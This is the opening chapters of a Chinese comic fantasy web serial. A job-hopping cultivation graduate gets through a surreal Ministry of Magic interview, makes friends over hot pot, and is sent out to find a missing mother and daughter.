《高风险打工【三界】》
1. 法力部面试惨遭踹脸
修真本科毕业,就业也难。
这十年来,越洱被老板们踢来踹去,换77份工了。
现在,人间多招普通高校应届生,鬼界已经五年没公开招聘,天界没人你又上不去。
越洱甩起一块暗绿色出入证,去赶【法力部】最后一轮面试。
上个月,纪妖局上班的好友“包子”,联络越洱。说法力部难得不卡学位、不卡学历、不限专业、还免笔试,入了职更是六险一金,退休不愁。
下午两点,法力部大楼。
门关着,人们几团几团四散开聊天。
大雨将将停歇,沾湿的长椅没人愿坐。
这时,一个五官浓烈俊秀的男子却大咧咧坐下,这人皮肤黝黑,又生得英气十足;半长头发又多又软,不太听话的样子,却显得他桀骜不羁中多了些乖巧。
边锋倒没所谓雨水,站久了容易饿,他长腿交叠,手臂搭在椅背上,懒洋洋闭目养神。
“哗啦”一声,一个人影扑闪而下,吓得边锋猛一睁眼:
只见一个短发女子,跪扑在长椅前,侧对着他,这出场方式,像被人从盆里泼出来的水,刹不住砸在了地上。
他起身欲扶,女子飞快站起,拍拍膝盖的土,笑道:“我没事,不好意思吓到你。”
那眼睛灵动有神,两颗尖牙很像小鲨鱼。
边锋脑中忽然蹦出一个声音:“她牙齿好可爱啊。”
*
“滋——”,法力部石门缓缓打开,一阵烟雾逸散而出。
考试铃叮叮响,激起越洱一身寒颤。
前两回不是在本部面试,她也随着人流涌向法力部洞开的石门。
这时,打头那端发出嘈杂声——
“咦?这怎么进去?弄堵墙挡着干嘛?”
“停一停!别往前挤啦,过不去!”
越洱站在队伍中段,使劲踮脚张望,只见石门内忽现一道灰墙,密不透风挡下所有人。
灰墙中央镶嵌一个巨大时钟,指向14:10。
“欢迎各位来到法力部第三轮面试现场,面试将于下午14:30正式开始。面试地点:本部677层,考官已等候在位。请注意时间,迟到即视为自动放弃资格,祝您好运。”
温和又冷静的机械女音一落,门口就炸开了锅。
“什么个意思?677层,该不会叫我们自己想办法上去?”
“677不可能吧,这楼有那么高吗?”
“惨了惨了!我根本没学过飞行,这怎么弄?不是说不限专业吗?我大学选的工商管理啊!”
“哐!”
一声巨响吓懵众人,一个头扎双发髻,犹如长了两只毛茸茸猫耳的瘦小女生闪过众人,一大拳打在灰墙上。
她拳头流闪着银色金属光泽,左手臂连同硕大的拳头,竟比她整个半蹲的身子还大两圈。
不像她这个人打出拳,反倒像从一坨金属的缝隙里,生长出她这么个小人儿。
“哇!”反应过来的一圈求职者忍不住爆发出喝彩和噼噼啪啪掌声。
可与那动静相比,灰墙纹丝不动,时钟分秒不停,14:13。
几个不信邪的,化出各式武器开砸开凿。
越洱趁混乱,迅速把自己压缩成一张几不可见的薄纸,贴着大楼环绕几圈,再怎么仔细也无缝可钻。
她变回原身,抬头看向上空,整栋大楼直耸入云,灰黑的云雾缭绕,似乎又有雨将来。
14:15,还有十五分钟,但最好多留几分钟,谁知道上去有没有意外。
肩上哒哒两下轻触,越洱转头,仰脸。
“你好呀,是我,我们组个队吗?”
是刚刚她闪现过来,摔个狗吃屎时候,那个目睹一切的黑皮男生。
“啊,我叫边锋,不会拖你后腿的。”
边锋伸出手,眼睛亮亮看着越洱。
越洱顾不上那种后知后觉的狼狈,也伸手轻握一下。
“我叫越洱。我不拖你后腿就好,先上去吧。”
越洱接着问:“你怎么打算的?我刚试了,闪现不了,好像有结界在屏蔽。”
边锋摸摸脖子,道:“跳上去怎么样?飞的话,我恐高……哈哈。”
……那跳就不恐高啦?
不过这种垂直上升千百米的飞行,越洱也不擅长。
“这墙太光滑了,中间没有落脚点,一次跳不到吧?”
越洱本来打算,就维持一张薄纸状态,再几秒闪现到家取胶布。把自己一点点粘上去,边粘边移去上面。
可实在风太大,万一被吹飞,太浪费时间了。
话音未落,边锋手上化出一条鞭子,龙骨麒麟鞭,鞭身是环环相扣的锁链。
他说:“我们用这个。”
*
暴雨瓢泼,越往上风越烈。
半空中摇铃晃荡乱飞着几个人,被吹得东倒西歪,摇摇欲坠。
最高处,越洱边锋交替着往上跳。
那条鞭子无限延伸,一圈圈紧箍在大楼外围,箍出一道道粗糙的“索道”。
要说手抓着这些鞭道往上爬,攀岩一样,倒还能上去。
要是站在鞭子上,还要奋力往上跳,那太勉强,落脚点过于狭窄。
他们现在跳跃的平台,是越洱化出的“武器”。
*
两分钟前,俩人试跳差点摔残,雨打在脸上几乎睁不开眼。
边锋看见越洱一脸黑,对他这个法子很无语的样子,尴尬挠头欲解释:
“那个……”
越洱手心朝上,往上一抛,动作像抛出一个隐形的球。
骤然间,一个巨大的X型黑影笼罩而来。
X活动活动“腿脚”,一口咬定紧箍住大楼的鞭子,X稳稳横铺在上空,终于形成一个可靠落脚台。
这是个——
“我爷爷修车用的那种胶把钳?”
边锋边跳边憋笑,他憋不住喷气的声音,惹得越洱不断转头瞥他。
哈哈哈哈,胶把钳,哪儿来的老钳子,别看又笨又重,还怪有用哈哈哈哈。
越洱看他那样,像一只满肚子坏主意、奸计得逞的黑毛兔子,要不等会儿装没站稳,蹬他一脚?
越洱黑着脸继续跳。透过蓝绿色的玻璃,可以看见每一层内部闪烁着几个红色阿拉伯大字。
555层
14:22
风夹雨猎猎地吹,两个人都不得不专心应对。
抹开眼皮上雨水,奋力跳跃。
……
633层,越洱正欲起跳,凌空踹来一脚,直蹬越洱面门,蹬得她眼黑耳鸣。
边锋忙往下返一台,焦急问道:“越洱,你还好吗?”
他及时扶好往下翻的越洱,站在大版胶把钳钳腿上,瞪着中间柔弱倒地那男生,斥道:
“你还好意思倒?你这人干什么吃的?没看人被你一脚踹翻,快昏了都!”
越洱堪堪站稳,颤巍巍伸手阻止道:“没……没那么夸张,就是快死了。”
男生一张小脸细嫩苍白,那大脚简直不像他踹下来的,倒像眼前男女欺负了他。
“
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对不住,实在对不住!我刚刚踹玻璃想进楼,没想到被狠狠弹飞下来……”
他爬起来就扑朝两人,
“姑娘你没事吧?”
哐叽,边锋揽着越洱肩膀,一闪身,躲过这个柔弱飞扑男,他自己又摔趴了。
“我没事,你说677楼?前面再没人先到了吗?”越洱扶起他,问。
“谢谢你,”飞扑大脚丫答道:“我们应该是最先到的,除非有人没破窗,直接闪进去了,但——”
“闪不进去是吧?没多少时间了,上去看看。”
俩人分立左右,各自托抓住“飞扑”的一条手臂。
边锋实在受不了,
“我说,飞扑大脚巴,你刚怎么上来的,怎么一下又不会了?自己跳跳行不行,死重!”
男生腼腆一笑,回道:“叫我山风就好,劳山风。我脚疼嘛,辛苦你们了,一会儿撞窗子我先上。”
越洱一心忙着确认时间,这时也不得不分神调侃他——
“哦,我脸不疼,你脚特疼。”
“哎呀,过了请你吃火锅嘛!好不好?”
越洱还没出声,边锋就叫道:“我也要!”
14:27
677层,四面落地窗,雨水汩汩。
三人瘫坐在越洱的胶把钳上,大口喘气,背后又立起一把巨大钳子。
挡一挡,防止被弹回来直接掉下去。
他们合力撞击几次也没破开窗,倒是被反作用力弹得五脏六腑发疼。
现在换越洱的胶把钳哐哐凿玻璃。
不知道他们怎样,她可是特别需要这份工作:“没用啊,这么耐撞。你们带没带尖锐武器?”
边锋摇摇头,他把鞭子收上来,合力抽打着玻璃,鞭子钢筋铁骨的锁链之身打在玻璃上,很刺耳。
劳山风摸索掏出一枚木质陀螺,那种老式的,靠抽打转动。
“我只带了这个。”
边锋嘴角一抽:“你来参加民间才艺大赛?”
越洱一把接过来,木陀螺尖还姑且可以用,虽然这个陀螺主体已经被磨得光滑圆钝。
“能把它变大吗?”
劳山风手一挥,陀螺弹跳两下,变大许多。
她操纵着胶把钳夹住陀螺,再把陀螺稍尖端对准落地窗的右上角落,那里有个不明显的标。
边锋目露兴奋,刚还在笑二人武器的他,似乎觉得很有意思。
三人运力一齐向胶把钳把手打去——
14:29
砰砰砰砰砰!接连不断的击打,胶把钳叼着陀螺,都快变成电动凿子。
倒计时,
1030,1029,1028,1027——
“哗!”
落地玻璃窗碎裂,万千碎片倾倒朝内,中央陡然出现一个幽暗漩涡,难以抵抗的强大吸力,硬拉着越洱头皮,她被卷进去了。
14:30:00
天旋地转,越洱倒在一块石地中央。
她进来了,跪趴的膝盖下,石板刻着几个大字:677。
只有她,那两人不在,越洱强撑着头晕眼花,确认一番。
那阵凄风苦雨打湿的痕迹全然不在,越洱浑身干爽自在。
这是一块高悬于空中的石地,边缘向下望,是广袤的雨林,其间一条宽河穿行奔腾而过。
“恭喜,你很准时,下次试试早点到呢。”
身披华亮黑羽的高大“鸟人”,优雅落地,带来一阵清香的凉风。
“越洱,77号面试者,我说得对吗?”
2. 鸟人面试官
“是我,没有错。”越洱赶紧爬起来站好,“请问怎么称呼您?我一起上来的两个朋友还好吗?”
鸟人笼住双翅向她走进,翅尖的长羽拖曳在地,一张俊美的脸,立体苍白。
靠近了才见那双水绿色眸子。
“叫我鸟人先生就好,你朋友没事,只不过分开面试。”
这地方没桌没椅,鸟人绕着她缓步走了一圈,越洱如芒在背,被审讯和上下扫视的感觉。
终于,他站定面前。
一根细软的小小黑羽降落两人中间。
嘭一下炸出一本厚厚羊皮书。
鸟人不知何时戴上金丝眼镜,手捏一支羽毛笔圈圈画画。
羊皮书页面翻飞,引起微风吹拂起他锁骨的黑发。
这时鸟人抬眸看向越洱,问道:“换了77份工,在鬼界也工作过?为什么鬼界工作时间最久?”
“只有鬼界给交五险一金,待遇不错。”
“那后来怎么离开了?”
“阴气太重,干了三年身体扛不住,不得不修养一段时间。”
其实还有,越洱那个部门太少美艳男鬼,骷髅架子居多,还天天夜班,她内分泌失调严重。
哒哒,鸟人轻敲两下纸面:
“红娘、新媒体运营招生老师、修仙课助教、神秘事物司安保……我很好奇你的职业规划?”
越洱心虚,强自镇定道:“其实这几年就业市场挺差,我普通修真院校毕业,重心都在于先养活自己,再尽力稳定下来,没有明确职业规划,就是活着。”
“看样子稳定失败了呢。”
“确实在我意料之外。”
鸟人又开始以越洱为原点,绕着她转圈走动。
“越洱女士,可否问一下,你第一份工作——红娘,期间凑成几对?成功率高吗?”
越洱微微脸热,其实一对也没成,这是可以说的吗?
甚至有两个来相亲的客人,在初见面那家毛线手工店打起来了。
“我作为红娘的三个月期间,一共凑成两对。就接收的人数来说,成功率不算高,婚恋大事,也不好操之过急。”
越洱告诫自己讲点良心,别吹大发了,万一鸟人叫她打电话给撮合成功的客户呢,现在搞背调的,主打出其不意攻其不备。
“也是,这段为什么离职呢?”
“三个月没发薪水,生活难以为继。”
“新媒体运营为何离职?”
“这也是一家主营婚恋业务的公司,老板想开拓约南国新娘和思鹅国新郎业务,实验阶段就被抓了,涉嫌非法组织出入境。不过您放心,我们员工并未参与。”
“修真课助教为何离职?”
“投资方撤资了,老板没钱租场地,要我们去广场舞公园授课。”
“神秘事物司,这是个私企吧?业务不是还挺广吗?怎么离职的?”
“这家保洁阿姨被调去当私人侦探了,反而我们安保人员天天洗碗刷地,太跳脱合同上工作范围了呢。”
过去种种,不堪回首呐。
鸟人连珠炮一样射出串串疑问,越洱一一作答。
“老年相亲节目主持人,为何离职?”
“流浪小妖收容所,为何离职?”
“异兽训练中心,为何离职?”
“爆炒钢筋店,为何离职?”
“神算子女巫店,为何离职?”
……
……
越洱算不清他问了多少,很多都是跳着问的。
她从18岁开始勤工俭学,换工作很频繁。有些都快不记得原因了,但总之一一答了。
鸟人问得口干舌燥,一张俊脸坠着干枯的嘴唇。
越洱莫名抱歉。
从脖子上挂着的那块暗绿色出入证,引出一瓶矿泉水来。
递给鸟人:“鸟人先生,你慢慢问,要不先喝点水?”
鸟人幽深的绿眸里,迸发出两束强力精光。
优雅动作首次变形,急急拿过那瓶水,咕噜噜一口灌下。
“哈……”
他长出一口气,很舒服的样子。
“我们差不多就到这儿,你先回去等通知吧。结果大概晚上就出。”
“好的,请问我怎么出去?”
“现在禁制解了,闪现就能出楼。”
正说着,鸟人又看一眼越洱,见她收着水瓶,一副准备闪了的样子。
突然道:“或者我送你下去,刚好我也准备下班。”
越洱登时眼镜就亮了,赶紧点头,暗暗期待着鸟人老师大显神通。
她还没体验过趴在鸟人背上的羽翼翱翔呢,天大的好时机!
鸟人看越洱一脸难掩期待,自信勾唇微笑。
……
十几秒后,法力部上空,一个帅气狂飞的黑色剪影一掠而下,鸟爪罕见地没有收起,似乎坠着一抹绿色小铃铛,画面十分养眼。
越洱生无可恋,眼皮耷拉着,叫都叫不出来,她脖颈子被鸟人的死爪爪箍着,衣服后领子也被勾住,几欲干呕。
是,很美,很像风中摇摆的晾衣架。
谢谢你鸟人老师,童年梦碎了,呵呵。
*
火锅店,五人围坐一桌。
越洱抱臂坐着,几次欲言又止。
怎么他来了,他来了,她也来了?
“哈哈,这是我妹妹,边沁,你们刚见过了吧?”边锋挠挠头,脸色微窘。
旁边坐着那个铁拳捶墙的猫耳妹子,她没表情时一脸高冷。
笑起来却鼻子皱皱,双眼弯弯,可爱极了。
边沁给大家倒酸梅汁,笑道:“不好意思突然加入你们,我哥请客!都别抢哈。”
“我请,你们多吃点,这家味道不错。”边锋接话道,手里不闲地分发摆置碗筷。
越洱拿过纸巾盒拆开,一个个递过道:“人多吃火锅才热闹,怎么好意思让你请。”
劳山风本来嘁嘁喳喳正和鸟人讲话,一听这,立马蹦起来:“哎哎,都别抢哈,说了我请就我请。我钱已经提前付了。”
鸟人一愣,
“你们这么抢?下次还和你们吃!那我一会儿请你们吃冰?附近有家……”
还没说完,边锋和边沁已经双手交叠放肚子上,同时坐着鞠躬道:“谢谢山风老师——”
劳山风和越洱眼色极快,立马加入鞠躬,冲着鸟人道:“谢谢鸟人老师——”
……
鸳鸯锅卟嘟嘟煮开,热气袅袅。
几人轮番下着牛肉片、鸭肠、毛肚、贡菜、山药。
香辣牛油汤底对着越洱和鸟人这边,菌菇老鸡汤底对着边锋边沁两兄妹。劳山风跨开腿,舒舒展展独坐一面,他说自己两不忌,都想吃。
几人嫌名字长喊起来费劲,从鸟人先生,鸟人老师,换到鸟老师,阿鸟,小鸟——鸟人拒绝了最后这个。
“阿鸟,我们聊面试你不介意吧?”边沁七上八下涮毛肚。
鸟人早就化去一身羽毛。现在脱下暗色西装外套,卷起衬衫袖子开吃。
“聊呀,面试过程录像交上去了,接下来不涉及我。”
越洱憋了半天终于松口气,
“太好了,早就想问,边沁你怎么上去的?”
“啊,我是这么——”边沁放下筷子,握起左边拳头,那小拳头一转眼硬化成银色金属,下一秒又融化般化成火红的铁水。
“我先融化,贴住两堵墙交
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接处的拐角,再硬化,就跟焊接冷却一样。把我自己焊在墙上。”
她又伸出右手,融化的金属冒着红光,往天花板一甩,甩出一条金属钩子,瞬间冷却凝固成型。
“再右手甩勾,焊住下一个支点,几下就上去啦。”
劳山风看得眼冒精光:“好厉害!下回你左手凝固一个铁锅,右手融着加热,就地吃火锅,多方便!”
边锋似是想象到了搞笑画面,握拳挡着嘴笑。
边沁白他一眼,又道:“好哇,食材你带,起步五斤和牛。”
劳山风嘎嘎大笑一阵,问:“话说,你们俩兄妹怎么不组队?”
这时边锋正用漏勺捞牛肉丸,咋呼着好热,水蒸气熏红他面颊。
边道“熟了熟了”,边放进越洱蘸水碗里,“辣锅是不是还没下牛肉丸,先吃点这边的。”
又捞几个放妹妹碗里,回答劳山风:“早上不小心把她粉底液打翻了,人家刚消气。”
边沁皱皱鼻子,笑道:“有新的用咯!干嘛不消气。”
鸟人本来闲散散支着手边吃边听,静静看他们,这下忽然拈走一个越洱面前的牛肉丸子。
“看来阿锋很会照顾人哦。”
下一秒,抢来的牛肉丸进口,烫得他仰头吸气呼气。
边锋无语斜眼睨他,给他推过一杯新续上的冰镇酸梅汁,道:
“看来阿鸟不太会照顾自己,求你吹吹再吃,大哥!”
鸟人烫得挤眼泪,啪啪拍打越洱手臂求救。
越洱不语,只一味给鸟人加冰块,暗自避开鸟人拍手臂攻击,守护我方拜拜肉。
全程伴随劳山风老师拍膝大笑声。
越洱:“……”
失策了,还有高手,这个笑点更低。
“滴嘟”,边沁抬起手机一看,笑得手舞足蹈:“我过啦!”
边锋也收到通知,点点头:“还挺快。”
掏出手机,越洱没翻到短信,一下子有些积食感。盼了一个月,还是功亏一篑,明天再怎么也得去新投几家面试了,否则下下个月水电费都成问题,法力解决不了温饱。
劳山风按关手机屏,往桌上随意一放,抱臂说:“害,白干了。早知道下雨天直接在家睡觉。”
几人默默转头看越洱。
越洱摇摇头说:“我也没收到,没事儿,今天就当出来蹭了顿火锅嘛。”
她尽力笑一下。
边锋似乎比她更没想到,一愣:“不会吧。”
他拖了椅子挪过来,凑到越洱跟前看,真没有。又缓缓靠上椅背,细细瞧越洱表情。
鸟人拍拍她肩膀,道:“再等等看。”
眼见吃得差不多,劳山风让几人稍坐,自己去卫生间。
他出了木雕屏风走朝反方向,边锋眼尖,一跃而起冲去拦截。
劳山风刚说提前付了钱是缓兵之计,趁现在才来得及结账,不料被边锋逮住,俩人在收银柜台好一番撕扯抢单,天旋地转,“我来我来”,逗得收银员捂嘴乐——
最后,鸟人老师付了钱。
鸟人:“……”
该不会是在演我?
*
凌晨,边家兄妹坐在家中阳台上小酌。
夜风微凉,从这里望下去,城市灯光粼粼,好像浸泡在深海里的万千花灯。
偶有鸟人掠过上空巡逻,他们飞身如燕,却也个个面目不清。
边沁拢了拢肩上披的小毯,忽然说:“好可惜,越姐他们都没过。”
边锋出神望着漆黑天际飞远的鸟人巡逻者:
“是呀,好可惜……”
“爸妈走后,”他抿下杯底那一小口白葡萄酒,“我们好久没这么轻松热闹了。”
3. 委托人突然的任务
3月4日清早,法力部人事处,边锋、边沁迅速签好三个月试用期合同,走进会议室,见斜对面越洱已经坐好,皆是惊讶。
边锋入座,隔着宽大的石雕会议桌,冲越洱挤眉弄眼,嘴边反手竖了掌,口型似是:“怎么回事?”
边沁也歪歪头,好奇望着她。
越洱朝他们一笑,几笔划来一张纸条:
凌晨在家收到通知啦!噢耶!
兄妹二人看了纸条,皆是眼睛一亮,坐在对面无声作海豹拍手状,笑眯眯向越洱投来祝贺。
一个身穿墨绿色缎面裙的长卷发女人几步走到白板前,高跟鞋踏踏响。她顺手把文件搁在木制小讲台上,细长手指推了推棕框猫眼眼镜,道:
“各位早上好,今天我们有三位新职员入职,我是异常事件处理司负责人,段飞烨。”
段飞烨扫一眼三人所坐区域,点点头,道:
“本来该给大家相互介绍一下,但部里刚接到一个紧急委托,先来处理。”
她翻开文件,
“紧急委托,昨天夜里,不眠市东南部郊区,委托人妻子突然灵力暴走,失控掳走家中大女儿。”
“现两人均下落不明,救援队已先行出发,但搜索三小时无果。刚收到线人消息,有三个区疑似出现灵力暴乱痕迹,需要我们加入去调查搜索。”
段飞烨抬眼扫视一圈,道:“除了指挥组几个人留下,其余人分三队,1队去工业园区,2队荒地,3队去阴阳交割线。”
越洱心如鼓锤,按捺不住地激动,好久没出过外勤了,至少有餐补吧?
就听段飞烨说:“委托人也会随队出发,有什么及时问,谈话中涉及有用信息,会由指挥组同步分享给其他小队。”
段飞烨迅速划分好三队,边沁收入指挥组,边锋和越洱都分在2小队。
待队员们在门口各拿上一个银质刺玫瑰样的耳夹,
段飞烨最后叮嘱道:“戴好通讯器,灵力暴乱区域,只靠法力传音容易失效,指挥组会给大家及时更新进展。”
*
天台,三台飞行器预热完毕,越洱随2小队坐进位置。
这种集体出外勤,飞行器很必要,方便集合商议,有序移动,也能让员工省省法力。
她自觉往最后一排进,拉过安全带,见副驾驶露出一个后脑勺,2队人进齐,那人转过头来。
这是……
“辛苦大家,我是委托人,溜金抱,有什么我能做的一定全力配合。”
怎么会是他?!
男人身材高挑,却形销骨立,满脸青黑蜡黄。
变化之大,不怪越洱没认出他。
溜金抱,越洱两年前在私立学校工作,他是副校长兼招生办组长,算越洱当时的直属上司。
他从来又高又壮,一副大骨架撑起饱满紧实的肌肉,中气十足,实在非今日可比。
溜金抱就像不认识越洱,说完扭头靠在椅背上,一副抽干力气的样子。
越洱对此人心情复杂,种种过往,历历在目。
边锋靠过来在她耳边小声问:“认识?”
越洱点点头,也小声回道:“以前一起工作过,我上级,没想到是他。”
更没想到他妻子会灵力暴走,两年前学校烟花会,她远远见过一回,那女人面相端庄沉静,一派天真老实,抱着他们的双胞胎女儿抬头看烟花。
溜金抱连介绍也懒得,他从来不带妻子出来参加任何聚会。
所以印象中,大家只知她是个普通全职妈妈。
前排坐着带队的前辈,施彦河。
施彦河问道:“您妻子一直是修真者吗?”
溜金抱偏过头,答:“不是,她从小没什么天赋,体弱多病,这次灵力暴走很突然。”
施彦河又翻翻手头文件,问:“我看到您女儿溜乐意,之前遭绑架,近几天才回家?”
溜金抱揉揉额角,道:“对,交钱那晚绑匪察觉我家报警,反悔逃跑了,我们当时觉得全完了,孩子凶多吉少,恐怕会被撕票……”
他漆黑的眼转过来注视后排,道:“她妈妈急火攻心,昏倒送进医院,万幸,昨晚孩子竟然自己出现在病房,也不知绑匪怎么搞的。”
他顿了顿,又道:
“孩子妈醒过来先看到乐意站在床边,使劲抱小孩,呜呜哭叫,我听见动静从走廊冲进去才看到。”
“孩子没说怎么回来的?或者绑匪什么样?”
“啊,”他瞥一眼施彦河手上的文件,道:“看来写漏了吧,我大女儿和妻子都是哑巴,不会说话。”
“……”
施彦河身子一紧,越洱从后方看去,能体会他多不自在。
“实在抱歉,是我疏忽了。”施彦河讪笑。
“没事,情有可原。你们来帮忙我很感谢。”
溜金抱回道,语气淡淡的,还是他以前那种不走心的礼貌。
飞行器极速划过城市上空,2队分到荒地,离本部最远。
关于他女儿嘛,
越洱忽然想到某次招生办聚会,饭桌上大家闲聊,有谁提了一句“有几个孩子的话,家长不免都会偏心”。
溜金抱当时很同意。
越洱于是好奇,问溜金抱:
“都会偏心吗?那是偏心小的?男的?有什么基准?”
溜金抱一愣,说:
“当然是偏心会撒娇、会来事儿的那个。”
……
如今,又听他方才说“大女儿和妻子”都不会说话,既然如此,小女儿应该不哑?
越洱只作和他头回见,问:“可以详细讲讲昨晚的情形吗?”
溜金抱听到这熟悉声音,脖子微僵。
挺了一下,头也不回,只望向前方无边蓝天,回忆道:
昨天夜里,医生说我老婆情况基本稳定。可我小女儿还在生病,住儿童专科那楼,我趁老婆熟睡,先去看一眼小女儿。
才返回时,接近病房,就听见里面有人呜呜哭,前台护士都去查房了。
我赶紧冲进去,看见我老婆死死搂着一个女孩儿,竟然是乐意!她好好儿的!
我叫了一声女儿,冲过去要抱抱她,没想到我老婆突然发疯!
她一把扯掉注射器,跌倒下床,嘶叫着不准我接近。
我被吓住了,伸手去扶她。一道红光从她跌坐那里迸射爆发,把我弹得撞到墙上。
我从没见过我老婆这样,她面目狰狞,眼睛烧得通红,我女儿乐意也被吓得不行,天可怜见……
我将将站起来,她就揪着乐意胳膊,一下破窗飞出去,撵也撵不上。
从住院部33层呐,地上没人,天上也没人,我不晓得她怎么做到。
*
边锋听完,若有所思。
问道:“怎么判断您妻子是灵力暴走呢?灵力暴走的人,大多小时候就有天赋,很难控制自己法力,不会这么多年相安无事。”
溜金抱不太肯定了,道:“我不怎么了解你们修真一卦的,去报警警察都这么说,要是肉体凡胎,怕跳出去就摔成肉饼了。”
“而且那道光很邪!红得人心慌。不是灵力暴走怎么解释?”
溜金抱盯着边锋,看起来终于上了力,不如开头那么死眯洋洋、气力抽干。
边锋摇摇头,也没解释,陷入自己思绪里。
施彦河轻咳一声,道:“听起来确实像灵力暴走,如果真是,我们更得抓紧了。灵力暴走的人不多久就会神智混乱,六亲不认,到时候孩子……”
溜金抱眉头紧拧。
见此情形
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,施彦河忙安慰道:“不过每个人情况不一定,您妻子估计因为绑架一事护犊心切,急着保护女儿。”
飞行器没人说话,溜金抱也闭眼陷回座位。
越洱脑内通灵法阵轻颤,这是修真者之间的“敲门声”,有人请求沟通,而且要私聊,所以没通过耳朵上那朵银质刺玫瑰耳夹。
越洱默认接通。
“姐姐,我是边沁,你们快到荒地了吧?”
“边沁?快到了,有什么情况吗?”
边沁选择私聊,而且不找她哥,先找的她?
“姐姐,没别的,我想请你帮忙……保护我哥。”
“嗯?”越洱看向右边,先前以为边锋在闭目养神,实际这人已经睡得翻白眼,可别太香。
“刚刚你们对话我都听了,直觉这事有蹊跷,但现在没线索不好说。他老婆要真是灵力暴走的话,怕少不了恶斗一场。”
边沁又道:
“其实我哥现在用的武器很弱,他身体也不大好。真打起来的话,姐姐你能不能护着他点?只要别被打太惨!实在不好意思,才一起出任务就这么来麻烦你……”
啊,那条鞭子,用好了很适合远程攻击。
越洱压力山大,心虚道:
“沁呐,我答应你一定尽力。就怕我还没你哥一半能打哈哈哈,总之打起来我一定护他!”
我自己没被毒打的话——这半句越洱咽了下去。
边沁雀跃:“姐姐你肯定比他能打!太好啦,那就拜托你了,使唤他别犹豫!我还在指挥室,你们一定注意安全。”
“好,我们到了。”
飞行器降落在荒地,掀起走石飞沙,2队几人先后跳下。
越洱余光瞥见溜金抱抓住舱门抓环,缓缓滑出飞行器,一个臃肿的大肚子,突兀挂在溜金抱身前,浑身的重量都在肚子了,很是诡异。
越洱实在奇怪,这两年他到底发生什么?
*
荒地零散建着些房子,有守坟人常住。
这边太难遮盖行踪了,地平线以内一览无余。
哪儿有什么灵力暴走痕迹?灵力暴走破坏性很强,不知线人们基于什么把这里划进可疑区域。
带队的施彦河一派轻松,随便指两方叫他们掠一遍,自己则和溜金抱并肩走向荒地中心一家名叫“遗世独立”的小茶馆。
……
越洱盘算好时间,自己这方全是荒地,看距离十分钟完全够飞来回。
低空贴地飞还是很拿手的。
又想起边沁的请求,于是喊住刚起步的边锋。
“边锋,我们一起不?”
边锋此时还睡眼惺忪,头发乱蓬蓬转了回来。
“啊?好呀,正好不想飞,你带我呗。”
……
真行,看来都觉得来荒地是凑凑数。
这三块,荒地,工业园区,阴阳交割线。
救援队都来搜过一轮,尤其荒地那支先发的救援队,早都被调走了。
可见清闲,溜金抱为什么选择跟2队?
设身处地,越洱若是当事人,肯定先跟去阴阳交割线。
边锋搭上越洱肘弯,他现在倒很清醒了,开心道:“飞喽!”
荒地在脚下飞速倒退,越洱全然投入,开放五感,捕捉灵力使用的迹象。
不多时果然巡过一圈。
第二遍,二人放慢速度,专攻散落点缀在荒地的居民房。
本就不多,搜过的三所还都废弃了。
越洱默记着一些方位和特征,没办法,就算一无所获,也需让带队前辈回去汇报工作时候有话可说。
搜一栋门窗俱损的烂楼,俩人顺着破洞穿越飞游。
边锋忽然问:“溜金抱人怎么样,他老婆孩子你都见过?”
4. 阴阳交割线的跟踪者
越洱略作思索,选择不防他,直说:
“溜金抱是个很自恋又擅长算计的人,但相处前期他很会收买人心,讨人喜欢。至于他老婆孩子,我只老远见过一次。”
边锋挑眉,道:“哦?只有前期会收买人心?时间一长就暴露?”
“准确说是看人下菜碟,对他有用的话,多长时间他也能装下去。”
越洱难以自制泄露出对溜金抱一些意见,顿觉自己好像阴暗吐黑泥的小泥鳅。
可别给边锋带偏了,于是又道:
“不过也只是我自己感觉,上班怨念大,最先烦直属领导嘛,当时也有人自始至终喜欢他。”
边锋笑道:“看来你以前在他手下没少受罪。”
边锋又一副“知心大嫂”的宽怀微笑,诱惑几回,引越洱多讲。
越洱忍不住,一个大走位,反追着边锋后头,边搜边吐苦水。他们开了灵识,这项工作还是很轻松。
吐槽诸如,
溜金抱天天让她们加班到凌晨,实则屁事没有还不给钱啊;
天天要统计数据,其实都是花架式拿去骗骗校长啊;
出差从来不批预算,次次要垫钱吃住还要用自己私车啊;
逮着一只羊不要命地薅,要记账要招生要采购要招待还要处理转学生打架厌学啊;
画大饼我天天吃得嘎嘣嘎嘣啊……
一转眼就要搜完了,吐槽别人时间就是快。
虽说吐槽快乐,但越洱心里始终有一杆秤掂量,好玩的、职场普遍有的,说说也就算了。
但有些不适合说的,最难看最隐秘的,就隐过,没必要给自己找麻烦。
边锋一路笑笑地听越洱扯闲篇,此时先落地,越洱随后也释开法力,脚尖点到地面。
边锋作势要搀扶她,近身来,却一只手转向越洱脸庞,骨节分明、漂亮修长的手最后悬停额角,摸了摸越洱的头。
他皱皱鼻子,笑道:“真是辛苦你了。”
越洱脚跟落地,不知如何是好,她不自觉后撤,打哈哈道:
“害,打工人打工魂,这有什么……”
她其实分不清,边锋这人,是始终对谁都这样温柔可亲,自来熟?
还是一种习惯性的策略和使坏?
明明看着比她小,但总有些时候,泄露出几丝老成。
突然,
“滴嘟滴嘟!”
通讯耳夹爆出尖鸣,刺玫瑰闪射红光:
“越洱、边锋,别搜了!你俩现在就赶来阴阳交割线,3队发现一只小孩穿的鞋,有灵力痕迹,还被血泡透了。怀疑是溜乐意的,我们驾着飞行器已经在路上了。”
施彦河急促交代。
“好,我们很快就到。”
边锋回复,凌风而起;越洱掏出一个古旧的罗盘,注入法力,一道微光指明前进方向。
二人赶赴阴阳交割线。
*
疾驰飞掠中,风云变幻,越洱忽感通灵阵震颤。
边锋的声音“夺门而入”:
“当心!有人在后面!”
越洱椎骨一凉,她满脑子小孩浸透血的鞋,完全没发现有人跟来。
二人对视一眼,迅速一左一右飞开,化出武器齐齐朝紧随的黑影劈去。
越洱巨钳劈下,
?一声被挡回,力震手背。旋即她一个后仰飞甩,十成十力道打去。
那黑影腾挪闪转,速度极快,也只堪堪躲过一击。
边锋扬鞭呼啸,鞭子抽得风哗哗作响,死咬追击黑影。
“啪”一声,鞭子抽中黑影。
“哎哟!别打!”
只见那黑影一滞,也不闪了,惨叫出声。
边锋疾鞭卷住那人,拉近身前一看——
“劳山风?皮子痒是吧?”
劳山风被捆着手臂,还使力去够屁股,紧紧捂住。
越洱警惕,问道:“你怎么会在这儿?悄默声儿跟着我们做什么?”
劳山风吃痛,挣扎不消停,道:“你俩下手忒黑!打仇人呐?我可是正宗外聘,你们法力部花钱请来的!还不快放开。”
边锋延长鞭子,把劳山风裹得只剩口鼻露出来呼吸。
二人先拴着这个“大蚕蛹”往目的地飞,越洱接通施彦河,问:
